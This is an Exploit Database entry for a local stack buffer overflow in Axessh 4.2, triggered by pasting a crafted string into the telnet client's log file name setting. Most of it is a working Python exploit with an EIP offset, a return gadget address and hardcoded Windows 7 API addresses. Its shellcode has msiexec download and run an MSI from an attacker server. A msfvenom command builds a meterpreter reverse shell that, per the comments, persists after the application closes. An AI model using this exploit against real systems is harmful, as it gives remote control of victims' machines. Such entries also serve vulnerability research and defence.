Axessh 4.2 – ‘Log file name’ Local Stack-based Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： Uday Mittal
  日期： 2019-05-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46922/

• # Title: Axessh 4.2 - 'Log file name'Local Stack-based Buffer Overflow
  # Date: May 23rd, 2019
  # Author: Uday Mittal (https://github.com/yaksas443/YaksasCSC-Lab/)
  # Vendor Homepage: http://www.labf.com
  # Software Link: http://www.labf.com/download/axessh.exe
  # Version v4.2
  # Tested on: Windows 7 SP1 EN (x86)
  # Reference: https://www.exploit-db.com/exploits/46858
  
  # TO RUN:
  # 0. Setup a multi/handler listener
  # 1. Run python script
  # 2. Copy contents of axssh.txt
  # 3. Open telnet_S.exe
  # 4. Select Details >> Settings >> Logging
  # 5. Select Log all Session Output radio button
  # 6. Paste the contents in Log file name
  # 7. Press "OK"
  # 8. Press "OK"
  
  # EIP offset: 214
  # 0x050e3f04 : push esp # ret| ascii {PAGE_EXECUTE_READ} [ctl3d32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v2.31.000 (C:\Windows\system32\ctl3d32.dll)
  
  
  #77da395c - Address of LoadLibraryA() for Windows 7 SPI x86
  #777db16f - Address of system() for Windows 7 SPI x86
  #77da214f - Address of ExitProcess for Windows 7 SPI x86
  
  # Shellcode Reference: https://www.exploit-db.com/shellcodes/46281
  # Payload command command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.163 LPORT=4444 EXITFUNC=seh -f msi > /var/www/html/ms.msi
  # When the payload runs, it floods the system with Command windows and sends back a meterpreter shell. The shell does not die even if the user closes the application.
  
  
  filename = "axssh.txt"
  
  msiScode = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xda\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x36\x2e\x31\x36\x68\x38\x2e\x31\x32\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x6f\xb1\x7d\x77\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xda\x77"
  
  evilString = "\x90" * 110 + msiScode + "\x90" * 6 + "\x04\x3f\x0e\x05" + "\x90"*4 + "\x89\xE0\x83\xE8\x7F\x89\xC4\xEB\x81" + "\x90" * 800
  
  file = open(filename,'w')
  file.write(evilString)
  file.close()